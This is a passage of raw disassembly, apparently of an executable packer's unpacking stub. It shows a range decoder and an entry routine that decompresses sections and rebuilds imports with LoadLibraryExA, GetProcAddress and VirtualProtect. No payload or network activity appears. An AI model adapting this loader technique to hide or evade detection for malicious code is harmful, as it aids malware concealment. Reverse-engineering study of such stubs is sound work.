jmp short loc_619413 ; --------------------------------------------------------------------------- loc_61940E: ; CODE XREF: sub_6193BA+46j mov dl, [esi] inc esi mov [ecx], esi loc_619413: ; CODE XREF: sub_6193BA+52j mov esi, [ecx+0Ch] movzx edx, dl shl esi, 8 or esi, edx shl eax, 8 mov [ecx+0Ch], esi mov [ecx+8], eax loc_619427: ; CODE XREF: sub_6193BA+3Fj xor eax, eax jmp short loc_61947C ; --------------------------------------------------------------------------- loc_61942B: ; CODE XREF: sub_6193BA+1Dj sub eax, edi sub esi, edi mov [ecx+8], eax mov [ecx+0Ch], esi mov ax, [edx] push 1 mov si, ax shr si, 5 sub eax, esi mov [edx], ax mov edx, [ecx+8] cmp edx, 1000000h pop eax jnb short loc_61947C mov esi, [ecx] push ebx cmp esi, [ecx+4] jnz short loc_619462 mov [ecx+10h], eax or bl, 0FFh jmp short loc_619467 ; --------------------------------------------------------------------------- loc_619462: ; CODE XREF: sub_6193BA+9Ej mov bl, [esi] inc esi mov [ecx], esi loc_619467: ; CODE XREF: sub_6193BA+A6j mov esi, [ecx+0Ch] movzx edi, bl shl esi, 8 or esi, edi pop ebx shl edx, 8 mov [ecx+0Ch], esi mov [ecx+8], edx loc_61947C: ; CODE XREF: sub_6193BA+6Fj ; sub_6193BA+96j pop edi pop esi retn sub_6193BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_61947F proc near ; CODE XREF: sub_619576+26p ; sub_619576+51p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push 1 pop eax jle short loc_6194AA push esi push edi mov edi, [ebp+arg_4] loc_619490: ; CODE XREF: sub_61947F+27j push [ebp+arg_8] lea esi, [eax+eax] mov eax, [ebp+arg_0] add eax, esi push eax call sub_6193BA pop ecx add eax, esi dec edi pop ecx jnz short loc_619490 pop edi pop esi loc_6194AA: ; CODE XREF: sub_61947F+Aj mov ecx, [ebp+arg_4] push 1 pop edx shl edx, cl sub eax, edx pop ebp retn sub_61947F endp ; =============== S U B R O U T I N E ======================================= sub_6194B6 proc near ; CODE XREF: sub_6195EB+2F5p ; sub_6195EB+320p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push edi xor ebx, ebx push 1 xor edi, edi cmp [esp+0Ch+arg_4], ebx pop edx jle short loc_6194EC push esi loc_6194C6: ; CODE XREF: sub_6194B6+33j mov eax, [esp+0Ch+arg_0] push [esp+0Ch+arg_8] lea esi, [edx+edx] add eax, esi push eax call sub_6193BA pop ecx lea edx, [esi+eax] pop ecx mov ecx, edi shl eax, cl or ebx, eax inc edi cmp edi, [esp+0Ch+arg_4] jl short loc_6194C6 pop esi loc_6194EC: ; CODE XREF: sub_6194B6+Dj mov eax, ebx pop edi pop ebx retn sub_6194B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_6194F1 proc near ; CODE XREF: sub_6195EB+143p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ebx push esi movzx esi, [ebp+arg_8] shr esi, 7 shl [ebp+arg_8], 1 mov eax, esi push edi mov edi, [ebp+arg_0] push [ebp+arg_4] shl eax, 9 lea eax, [eax+edi+202h] push eax call sub_6193BA pop ecx mov ebx, eax pop ecx or ebx, 2 loc_619520: ; CODE XREF: sub_6194F1+5Fj cmp esi, eax jnz short loc_619552 cmp ebx, 100h jge short loc_61956F movzx esi, [ebp+arg_8] shr esi, 7 push [ebp+arg_4] lea eax, [esi+1] shl [ebp+arg_8], 1 shl eax, 8 add eax, ebx lea eax, [edi+eax*2] push eax call sub_6193BA pop ecx add ebx, ebx pop ecx or ebx, eax jmp short loc_619520 ; --------------------------------------------------------------------------- loc_619552: ; CODE XREF: sub_6194F1+31j mov esi, 100h loc_619557: ; CODE XREF: sub_6194F1+7Cj cmp ebx, esi jge short loc_61956F push [ebp+arg_4] add ebx, ebx lea eax, [ebx+edi] push eax call sub_6193BA pop ecx or ebx, eax pop ecx jmp short loc_619557 ; --------------------------------------------------------------------------- loc_61956F: ; CODE XREF: sub_6194F1+39j ; sub_6194F1+68j pop edi mov al, bl pop esi pop ebx pop ebp retn sub_6194F1 endp ; =============== S U B R O U T I N E ======================================= sub_619576 proc near ; CODE XREF: sub_6195EB+24Fp ; sub_6195EB+29Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push edi push esi call sub_6193BA pop ecx pop ecx test eax, eax push edi jnz short loc_6195A6 mov eax, [esp+0Ch+arg_8] push 3 shl eax, 4 lea eax, [eax+esi+4] push eax call sub_61947F add esp, 0Ch jmp short loc_6195E8 ; --------------------------------------------------------------------------- loc_6195A6: ; CODE XREF: sub_619576+16j lea eax, [esi+2] push eax call sub_6193BA pop ecx pop ecx test eax, eax push edi jnz short loc_6195D4 mov eax, [esp+0Ch+arg_8] push 3 shl eax, 4 lea eax, [eax+esi+104h] push eax call sub_61947F add esp, 0Ch add eax, 8 jmp short loc_6195E8 ; --------------------------------------------------------------------------- loc_6195D4: ; CODE XREF: sub_619576+3Ej add esi, 204h push 8 push esi call sub_61947F add esp, 0Ch add eax, 10h loc_6195E8: ; CODE XREF: sub_619576+2Ej ; sub_619576+5Cj pop edi pop esi retn sub_619576 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_6195EB proc near ; CODE XREF: sub_619960+95p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp sub esp, 34h mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_C] push 1 pop edx xor bl, bl lea ecx, [eax+edi] mov eax, 300h shl eax, cl xor ecx, ecx mov esi, edx mov [ebp+var_4], ecx mov [ebp+var_14], ecx mov [ebp+arg_C], ecx mov ecx, [ebp+arg_10] shl esi, cl add eax, 736h mov ecx, edi mov [ebp+var_8], edx mov [ebp+var_10], edx mov [ebp+var_C], edx mov [ebp+var_18], edx dec esi mov [ebp+var_1C], esi mov esi, edx shl esi, cl dec esi mov [ebp+var_20], esi mov esi, [ebp+arg_0] test eax, eax jbe short loc_619653 mov ecx, eax mov eax, 4000400h mov edi, esi shr ecx, 1 rep stosd adc ecx, ecx rep stosw loc_619653: ; CODE XREF: sub_6195EB+54j mov eax, [ebp+arg_14] mov ecx, [ebp+arg_18] and [ebp+var_24], 0 and [ebp+var_28], 0 or [ebp+var_2C], 0FFFFFFFFh lea edi, [eax+ecx] mov [ebp+var_34], eax mov [ebp+var_30], edi mov [ebp+arg_10], 5 loc_619675: ; CODE XREF: sub_6195EB+AFj cmp [ebp+var_34], edi jnz short loc_619681 mov [ebp+var_24], edx or al, 0FFh jmp short loc_619689 ; --------------------------------------------------------------------------- loc_619681: ; CODE XREF: sub_6195EB+8Dj mov eax, [ebp+var_34] mov al, [eax] inc [ebp+var_34] loc_619689: ; CODE XREF: sub_6195EB+94j mov ecx, [ebp+var_28] movzx eax, al shl ecx, 8 or ecx, eax dec [ebp+arg_10] mov [ebp+var_28], ecx jnz short loc_619675 mov eax, [ebp+arg_24] and dword ptr [eax], 0 cmp [ebp+arg_20], 0 jbe loc_619951 loc_6196AC: ; CODE XREF: sub_6195EB+360j mov edi, [ebp+var_1C] lea eax, [ebp+var_34] and edi, [ebp+arg_C] push eax mov eax, [ebp+var_4] shl eax, 4 add eax, edi lea eax, [esi+eax*2] push eax call sub_6193BA pop ecx test eax, eax pop ecx jnz loc_619761 mov edx, [ebp+var_20] mov cl, 8 sub cl, byte ptr [ebp+arg_8] and edx, [ebp+arg_C] movzx eax, bl shr eax, cl mov ecx, [ebp+arg_8] shl edx, cl add eax, edx lea eax, [eax+eax*2] shl eax, 9 cmp [ebp+var_4], 4 lea edi, [eax+esi+0E6Ch] jge short loc_619701 and [ebp+var_4], 0 jmp short loc_619711 ; --------------------------------------------------------------------------- loc_619701: ; CODE XREF: sub_6195EB+10Ej cmp [ebp+var_4], 0Ah jge short loc_61970D sub [ebp+var_4], 3 jmp short loc_619711 ; --------------------------------------------------------------------------- loc_61970D: ; CODE XREF: sub_6195EB+11Aj sub [ebp+var_4], 6 loc_619711: ; CODE XREF: sub_6195EB+114j ; sub_6195EB+120j cmp [ebp+var_14], 0 jz short loc_61973E mov eax, [ebp+arg_C] mov ecx, [ebp+arg_1C] sub eax, [ebp+var_8] mov al, [eax+ecx] mov byte ptr [ebp+arg_10], al lea eax, [ebp+var_34] push [ebp+arg_10] push eax push edi call sub_6194F1 add esp, 0Ch and [ebp+var_14], 0 mov bl, al jmp short loc_61975C ; --------------------------------------------------------------------------- loc_61973E: ; CODE XREF: sub_6195EB+12Aj push 1 pop ebx loc_619741: ; CODE XREF: sub_6195EB+16Fj add ebx, ebx lea eax, [ebp+var_34] push eax lea eax, [ebx+edi] push eax call sub_6193BA or ebx, eax pop ecx cmp ebx, 100h pop ecx jl short loc_619741 loc_61975C: ; CODE XREF: sub_6195EB+151j mov eax, [ebp+arg_1C] jmp short loc_6197D4 ; --------------------------------------------------------------------------- loc_619761: ; CODE XREF: sub_6195EB+E0j mov ebx, [ebp+var_4] lea eax, [ebp+var_34] push eax mov [ebp+var_14], 1 lea eax, [esi+ebx*2+180h] push eax call sub_6193BA pop ecx cmp eax, 1 pop ecx jnz loc_61985A lea eax, [ebp+var_34] push eax lea eax, [esi+ebx*2+198h] push eax call sub_6193BA pop ecx test eax, eax pop ecx lea eax, [ebp+var_34] push eax jnz short loc_6197E2 lea eax, [ebx+0Fh] shl eax, 4 add eax, edi lea eax, [esi+eax*2] push eax call sub_6193BA pop ecx test eax, eax pop ecx jnz short loc_61982E cmp ebx, 7 mov ecx, [ebp+arg_C] setnl al dec eax and al, 0FEh add eax, 0Bh sub ecx, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+arg_1C] mov bl, [ecx+eax] loc_6197D4: ; CODE XREF: sub_6195EB+174j mov ecx, [ebp+arg_C] inc [ebp+arg_C] mov [ecx+eax], bl jmp loc_619945 ; --------------------------------------------------------------------------- loc_6197E2: ; CODE XREF: sub_6195EB+1B5j lea eax, [esi+ebx*2+1B0h] push eax call sub_6193BA pop ecx test eax, eax pop ecx jnz short loc_6197FA mov eax, [ebp+var_10] jmp short loc_619825 ; --------------------------------------------------------------------------- loc_6197FA: ; CODE XREF: sub_6195EB+208j lea eax, [ebp+var_34] push eax lea eax, [esi+ebx*2+1C8h] push eax call sub_6193BA pop ecx test eax, eax pop ecx jnz short loc_619816 mov eax, [ebp+var_C] jmp short loc_61981F ; --------------------------------------------------------------------------- loc_619816: ; CODE XREF: sub_6195EB+224j mov ecx, [ebp+var_C] mov eax, [ebp+var_18] mov [ebp+var_18], ecx loc_61981F: ; CODE XREF: sub_6195EB+229j mov ecx, [ebp+var_10] mov [ebp+var_C], ecx loc_619825: ; CODE XREF: sub_6195EB+20Dj mov ecx, [ebp+var_8] mov [ebp+var_8], eax mov [ebp+var_10], ecx loc_61982E: ; CODE XREF: sub_6195EB+1CCj lea eax, [ebp+var_34] push edi push eax lea eax, [esi+0A68h] push eax call sub_619576 mov edi, eax add esp, 0Ch xor eax, eax cmp ebx, 7 setnl al dec eax and al, 0FDh add eax, 0Bh mov [ebp+var_4], eax jmp loc_61991E ; --------------------------------------------------------------------------- loc_61985A: ; CODE XREF: sub_6195EB+196j mov eax, [ebp+var_C] push edi mov [ebp+var_18], eax mov eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_8] mov [ebp+var_10], eax xor eax, eax cmp ebx, 7 setnl al dec eax and al, 0FDh add eax, 0Ah mov [ebp+var_4], eax lea eax, [ebp+var_34] push eax lea eax, [esi+664h] push eax call sub_619576 mov edi, eax add esp, 0Ch cmp edi, 4 jge short loc_61989A jmp short loc_61989D ; --------------------------------------------------------------------------- loc_61989A: ; CODE XREF: sub_6195EB+2ABj push 3 pop eax loc_61989D: ; CODE XREF: sub_6195EB+2ADj shl eax, 7 lea ecx, [ebp+var_34] push ecx lea eax, [eax+esi+360h] push 6 push eax call sub_61947F add esp, 0Ch cmp eax, 4 jl short loc_619915 mov ecx, eax mov ebx, eax sar ecx, 1 and ebx, 1 dec ecx or ebx, 2 shl ebx, cl cmp eax, 0Eh jge short loc_6198EC lea edx, [ebp+var_34] push edx push ecx mov ecx, ebx sub ecx, eax lea eax, [esi+ecx*2+55Eh] push eax call sub_6194B6 add esp, 0Ch loc_6198E8: ; CODE XREF: sub_6195EB+328j add ebx, eax jmp short loc_61991A ; --------------------------------------------------------------------------- loc_6198EC: ; CODE XREF: sub_6195EB+2E2j add ecx, 0FFFFFFFCh lea eax, [ebp+var_34] push ecx push eax call sub_619358 shl eax, 4 add ebx, eax lea eax, [ebp+var_34] push eax lea eax, [esi+644h] push 4 push eax call sub_6194B6 add esp, 14h jmp short loc_6198E8 ; --------------------------------------------------------------------------- loc_619915: ; CODE XREF: sub_6195EB+2CEj mov [ebp+var_8], eax mov ebx, eax loc_61991A: ; CODE XREF: sub_6195EB+2FFj inc ebx mov [ebp+var_8], ebx loc_61991E: ; CODE XREF: sub_6195EB+26Aj cmp [ebp+var_8], 0 jz short loc_619951 inc edi inc edi loc_619926: ; CODE XREF: sub_6195EB+358j mov ecx, [ebp+arg_C] mov eax, [ebp+arg_1C] mov edx, ecx sub edx, [ebp+var_8] mov bl, [edx+eax] mov [ecx+eax], bl inc ecx dec edi mov [ebp+arg_C], ecx test edi, edi jle short loc_619945 cmp ecx, [ebp+arg_20] jb short loc_619926 loc_619945: ; CODE XREF: sub_6195EB+1F2j ; sub_6195EB+353j mov eax, [ebp+arg_C] cmp eax, [ebp+arg_20] jb loc_6196AC loc_619951: ; CODE XREF: sub_6195EB+BBj ; sub_6195EB+337j mov ecx, [ebp+arg_24] mov eax, [ebp+arg_C] pop edi pop esi mov [ecx], eax xor eax, eax pop ebx leave retn sub_6195EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_619960 proc near ; CODE XREF: start+1A2p start+25Cp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_0] push ebx push esi push edi mov cl, [eax] cmp cl, 0E1h jnb short loc_6199D2 xor ebx, ebx cmp cl, 2Dh mov [ebp+var_4], ebx jb short loc_619990 movzx eax, cl push 2Dh xor edx, edx pop esi div esi mov [ebp+var_4], eax loc_61998A: ; CODE XREF: sub_619960+2Ej add cl, 0D3h dec eax jnz short loc_61998A loc_619990: ; CODE XREF: sub_619960+1Bj cmp cl, 9 jb short loc_6199A7 movzx eax, cl push 9 xor edx, edx pop esi div esi mov ebx, eax loc_6199A1: ; CODE XREF: sub_619960+45j add cl, 0F7h dec eax jnz short loc_6199A1 loc_6199A7: ; CODE XREF: sub_619960+33j movzx esi, cl mov eax, 300h push 4 lea ecx, [esi+ebx] push 1000h shl eax, cl lea edi, [eax+eax+0E6Ch] push edi push 0 call ds:VirtualAlloc ; VirtualAlloc test eax, eax mov [ebp+var_C], eax jnz short loc_6199D7 loc_6199D2: ; CODE XREF: sub_619960+11j push 1 pop eax jmp short loc_619A34 ; --------------------------------------------------------------------------- loc_6199D7: ; CODE XREF: sub_619960+70j lea ecx, [ebp+var_8] push ecx mov ecx, [ebp+arg_4] push 0FFFFFFFFh add ecx, 0FFFFFFFBh push [ebp+arg_8] push ecx mov ecx, [ebp+arg_0] add ecx, 5 push ecx push [ebp+var_4] push ebx push esi push edi push eax call sub_6195EB add esp, 28h mov esi, [ebp+var_8] xor ebx, ebx mov edi, eax push 8000h push ebx push [ebp+var_C] call ds:VirtualFree ; VirtualFree lea eax, [ebp+var_10] mov [ebp+var_14], ebx push eax lea eax, [ebp+var_14] push eax push ebx push esi mov [ebp+var_10], 0FFFFFFFBh push [ebp+arg_8] call sub_61A539 add esp, 14h mov eax, edi loc_619A34: ; CODE XREF: sub_619960+75j pop edi pop esi pop ebx leave retn sub_619960 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near ; DATA XREF: start+30o var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0061A232 SIZE 00000005 BYTES push ebp mov ebp, esp sub esp, 60h push ebx push esi push edi and [ebp+var_28], 0 rep jmp short loc_619A55 ; --------------------------------------------------------------------------- db 65h, 58h, 50h dd 2E762D72h, 2E342E31h db 0 ; --------------------------------------------------------------------------- loc_619A55: ; CODE XREF: start+Dj mov eax, ds:dword_619000 add eax, offset dword_619000 mov ds:dword_619024, eax mov eax, ds:dword_619024 mov ecx, offset start sub ecx, [eax+18h] mov ds:dword_619028, ecx cmp ds:dword_61902C, 0 jz short loc_619A96 mov eax, ds:dword_619024 mov ecx, ds:dword_619028 add ecx, [eax+14h] mov [ebp+var_38], ecx jmp loc_61A1CD ; --------------------------------------------------------------------------- loc_619A96: ; CODE XREF: start+45j mov ds:dword_61902C, 1 push 4 push 1000h push 80h push 0 call ds:VirtualAlloc ; VirtualAlloc mov [ebp+var_24], eax cmp [ebp+arg_4], 1 jz short loc_619AC1 and [ebp+arg_0], 0 loc_619AC1: ; CODE XREF: start+82j push 4 push 1000h push 104h push 0 call ds:VirtualAlloc ; VirtualAlloc mov [ebp+var_14], eax push 104h push [ebp+var_14] push [ebp+arg_0] call ds:GetModuleFileNameA ; GetModuleFileNameA mov ecx, [ebp+var_14] lea eax, [ecx+eax-1] mov [ebp+var_58], eax loc_619AF3: ; CODE XREF: start+CCj mov eax, [ebp+var_58] movsx eax, byte ptr [eax] cmp eax, 5Ch jz short loc_619B07 mov eax, [ebp+var_58] dec eax mov [ebp+var_58], eax jmp short loc_619AF3 ; --------------------------------------------------------------------------- loc_619B07: ; CODE XREF: start+C3j mov eax, [ebp+var_58] inc eax mov [ebp+var_58], eax mov eax, [ebp+var_58] sub eax, [ebp+var_14] mov [ebp+var_54], eax push 4 push 1000h push 104h push 0 call ds:VirtualAlloc ; VirtualAlloc mov [ebp+var_4], eax mov ecx, [ebp+var_54] mov esi, [ebp+var_14] mov edi, [ebp+var_4] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_4] add eax, [ebp+var_54] and byte ptr [eax+1], 0 mov eax, ds:dword_619020 shl eax, 6 mov ecx, ds:dword_619028 add ecx, eax mov [ebp+var_44], ecx mov eax, [ebp+var_44] mov ecx, ds:dword_619028 add ecx, [eax+3Ch] mov [ebp+var_10], ecx mov eax, [ebp+var_10] add eax, 0F8h mov [ebp+var_40], eax mov eax, ds:dword_619024 cmp dword ptr [eax+68h], 0 jz short loc_619BFA mov eax, ds:dword_619024 mov ecx, ds:dword_619028 add ecx, [eax+80h] mov ds:dword_61A6BC, ecx mov eax, ds:dword_61A6BC mov [ebp+var_3C], eax mov eax, ds:dword_619024 mov eax, [eax+8] mov ds:dword_61A6C0, eax mov eax, ds:dword_619024 mov ecx, ds:dword_619028 add ecx, [eax+10h] mov ds:dword_61A6B8, ecx push ds:dword_61A6BC mov eax, ds:dword_619024 push dword ptr [eax+4] push ds:dword_61A6B8 call sub_619960 add esp, 0Ch mov eax, ds:dword_619024 push dword ptr [eax+6Ch] push [ebp+var_3C] call sub_61A2B8 pop ecx pop ecx jmp loc_61A230 ; --------------------------------------------------------------------------- loc_619BFA: ; CODE XREF: start+14Cj mov eax, ds:dword_619024 cmp dword ptr [eax+64h], 0 jz loc_619D24 push 4 push 1000h mov eax, ds:dword_619024 push dword ptr [eax+4] push 0 call ds:VirtualAlloc ; VirtualAlloc mov [ebp+var_3C], eax mov eax, [ebp+var_3C] mov ds:dword_61A6BC, eax cmp ds:dword_61A6BC, 0 jnz short loc_619C4E push 30h push [ebp+var_58] push offset aErrorAllocatin ; "Error allocating memory!" push 0 call ds:MessageBoxA ; MessageBoxA push 0 call ds:ExitProcess ; ExitProcess loc_619C4E: ; CODE XREF: start+1F9j mov eax, ds:dword_619024 mov eax, [eax+8] mov ds:dword_61A6C0, eax mov eax, ds:dword_619024 mov ecx, ds:dword_619028 add ecx, [eax+10h] mov eax, ds:dword_619024 mov esi, [ebp+var_10] mov eax, [eax+78h] xor edx, edx div dword ptr [esi+3Ch] add ecx, edx mov ds:dword_61A6B8, ecx push ds:dword_61A6BC mov eax, ds:dword_619024 push dword ptr [eax+4] push ds:dword_61A6B8 call sub_619960 add esp, 0Ch jmp short loc_619CA6 ; --------------------------------------------------------------------------- loc_619C9F: ; CODE XREF: start+2D4j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax loc_619CA6: ; CODE XREF: start+264j mov eax, ds:dword_619024 movzx eax, word ptr [eax+70h] cmp [ebp+var_28], eax jge short loc_619D0F mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:dword_619024 mov ecx, [ecx+eax+7Ch] mov esi, ds:dword_61A6BC mov eax, [ebp+var_28] imul eax, 18h mov edx, ds:dword_619024 mov edi, ds:dword_619028 add edi, [edx+eax+80h] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:dword_619024 mov edx, ds:dword_61A6BC add edx, [ecx+eax+7Ch] mov ds:dword_61A6BC, edx jmp short loc_619C9F ; --------------------------------------------------------------------------- loc_619D0F: ; CODE XREF: start+279j push 8000h push 0 push [ebp+var_3C] call ds:VirtualFree ; VirtualFree jmp loc_619E0E ; --------------------------------------------------------------------------- loc_619D24: ; CODE XREF: start+1CAj mov eax, ds:dword_619024 mov ecx, ds:dword_619028 add ecx, [eax+10h] mov eax, ds:dword_619024 sub ecx, [eax+0Ch] mov eax, ds:dword_619024 mov esi, [ebp+var_10] mov eax, [eax+78h] xor edx, edx div dword ptr [esi+3Ch] add ecx, edx mov [ebp+var_3C], ecx and [ebp+var_28], 0 jmp short loc_619D5C ; --------------------------------------------------------------------------- loc_619D55: ; CODE XREF: start:loc_619E09j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax loc_619D5C: ; CODE XREF: start+31Aj mov eax, ds:dword_619024 movzx eax, word ptr [eax+70h] cmp [ebp+var_28], eax jge loc_619E0E mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:dword_619024 cmp dword ptr [ecx+eax+74h], 0 jz loc_619E09 mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:dword_619024 cmp dword ptr [ecx+eax+7Ch], 0 jbe short loc_619E09 mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:dword_619024 mov edx, ds:dword_619028 add edx, [ecx+eax+80h] mov ds:dword_61A6BC, edx mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:dword_619024 mov eax, [ecx+eax+7Ch] mov ds:dword_61A6C0, eax mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:dword_619024 mov edx, [ebp+var_3C] add edx, [ecx+eax+78h] mov ds:dword_61A6B8, edx push ds:dword_61A6BC mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:dword_619024 push dword ptr [ecx+eax+7Ch] push ds:dword_61A6B8 call sub_619960 add esp, 0Ch loc_619E09: ; CODE XREF: start+346j start+35Dj jmp loc_619D55 ; --------------------------------------------------------------------------- loc_619E0E: ; CODE XREF: start+2E6j start+32Fj mov eax, ds:dword_619024 mov ecx, ds:dword_619028 add ecx, [eax+24h] mov [ebp+var_50], ecx loc_619E1F: ; CODE XREF: start+5F7j mov eax, [ebp+var_50] cmp dword ptr [eax+0Ch], 0 jz loc_61A035 mov eax, ds:dword_619024 cmp dword ptr [eax+24h], 0 jz loc_61A035 lea eax, [ebp+var_48] push eax push 40h push 14h push [ebp+var_50] call ds:VirtualProtect ; VirtualProtect mov eax, [ebp+var_50] mov ecx, ds:dword_619028 add ecx, [eax+0Ch] mov [ebp+var_C], ecx push [ebp+var_C] call ds:GetModuleHandleA ; GetModuleHandleA mov [ebp+var_30], eax cmp [ebp+var_30], 0 jnz short loc_619E7D push 8 push 0 push [ebp+var_C] call ds:LoadLibraryExA ; LoadLibraryExA mov [ebp+var_30], eax loc_619E7D: ; CODE XREF: start+432j cmp [ebp+var_30], 0 jnz short loc_619EBB mov edi, [ebp+var_C] mov eax, [ebp+var_4] add eax, [ebp+var_54] mov edx, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 8 push 0 push [ebp+var_4] call ds:LoadLibraryExA ; LoadLibraryExA mov [ebp+var_30], eax loc_619EBB: ; CODE XREF: start+448j cmp [ebp+var_30], 0 jnz short loc_619EED push [ebp+var_C] push offset aARequired_dllF ; "A required .DLL file, %hs, was not foun"... push [ebp+var_24] call ds:wsprintfA ; wsprintfA add esp, 0Ch push 30h push [ebp+var_58] push [ebp+var_24] push 0 call ds:MessageBoxA ; MessageBoxA push 0 call ds:ExitProcess ; ExitProcess loc_619EED: ; CODE XREF: start+486j mov eax, [ebp+var_50] mov ecx, [ebp+var_30] mov [eax+8], ecx mov eax, [ebp+var_50] mov dword ptr [eax+4], 0CDC31337h mov eax, [ebp+var_50] mov ecx, ds:dword_619028 add ecx, [eax+10h] mov [ebp+var_20], ecx mov eax, [ebp+var_50] cmp dword ptr [eax], 0 jnz short loc_619F1F mov eax, [ebp+var_20] mov [ebp+var_18], eax jmp short loc_619F2D ; --------------------------------------------------------------------------- loc_619F1F: ; CODE XREF: start+4DCj mov eax, [ebp+var_50] mov ecx, ds:dword_619028 add ecx, [eax] mov [ebp+var_18], ecx loc_619F2D: ; CODE XREF: start+4E4j start+5E9j mov eax, [ebp+var_18] cmp dword ptr [eax], 0 jz loc_61A027 and [ebp+var_5C], 0 mov eax, [ebp+var_18] mov eax, [eax] and eax, 80000000h test eax, eax jz short loc_619F67 mov eax, [ebp+var_18] mov eax, [eax] and eax, 0FFFFh movzx eax, ax push eax push [ebp+var_30] call ds:GetProcAddress ; GetProcAddress mov [ebp+var_5C], eax jmp short loc_619F87 ; --------------------------------------------------------------------------- loc_619F67: ; CODE XREF: start+510j mov eax, [ebp+var_18] mov eax, [eax] add eax, ds:dword_619028 mov [ebp+var_8], eax mov eax, [ebp+var_8] inc eax inc eax push eax push [ebp+var_30] call ds:GetProcAddress ; GetProcAddress mov [ebp+var_5C], eax loc_619F87: ; CODE XREF: start+52Cj cmp [ebp+var_5C], 0 jnz short loc_619FF7 mov eax, [ebp+var_18] mov eax, [eax] and eax, 80000000h test eax, eax jz short loc_619FC2 mov eax, [ebp+var_18] mov eax, [eax] and eax, 0FFFFh movzx eax, ax push eax push [ebp+var_C] push [ebp+var_58] push offset aTheHsFileIsLin ; "The %hs file is \nlinked to missing expo"... push [ebp+var_24] call ds:wsprintfA ; wsprintfA add esp, 14h jmp short loc_619FDF ; --------------------------------------------------------------------------- loc_619FC2: ; CODE XREF: start+560j mov eax, [ebp+var_8] inc eax inc eax push eax push [ebp+var_C] push [ebp+var_58] push offset aTheHsFileIsL_0 ; "The %hs file is \nlinked to missing expo"... push [ebp+var_24] call ds:wsprintfA ; wsprintfA add esp, 14h loc_619FDF: ; CODE XREF: start+587j push 30h push [ebp+var_58] push [ebp+var_24] push 0 call ds:MessageBoxA ; MessageBoxA push 0 call ds:ExitProcess ; ExitProcess loc_619FF7: ; CODE XREF: start+552j lea eax, [ebp+var_48] push eax push 40h push 4 push [ebp+var_20] call ds:VirtualProtect ; VirtualProtect mov eax, [ebp+var_20] mov ecx, [ebp+var_5C] mov [eax], ecx mov eax, [ebp+var_18] add eax, 4 mov [ebp+var_18], eax mov eax, [ebp+var_20] add eax, 4 mov [ebp+var_20], eax jmp loc_619F2D ; --------------------------------------------------------------------------- loc_61A027: ; CODE XREF: start+4FAj mov eax, [ebp+var_50] add eax, 14h mov [ebp+var_50], eax jmp loc_619E1F ; --------------------------------------------------------------------------- loc_61A035: ; CODE XREF: start+3EDj start+3FCj mov eax, ds:dword_619024 mov eax, [eax+1Ch] cmp eax, ds:dword_619028 jz loc_61A1AC mov eax, ds:dword_619024 cmp dword ptr [eax+28h], 0 jz loc_61A1AC mov eax, ds:dword_619024 mov ecx, ds:dword_619028 add ecx, [eax+28h] mov [ebp+var_34], ecx loc_61A069: ; CODE XREF: start+76Ej mov eax, [ebp+var_34] cmp dword ptr [eax], 0 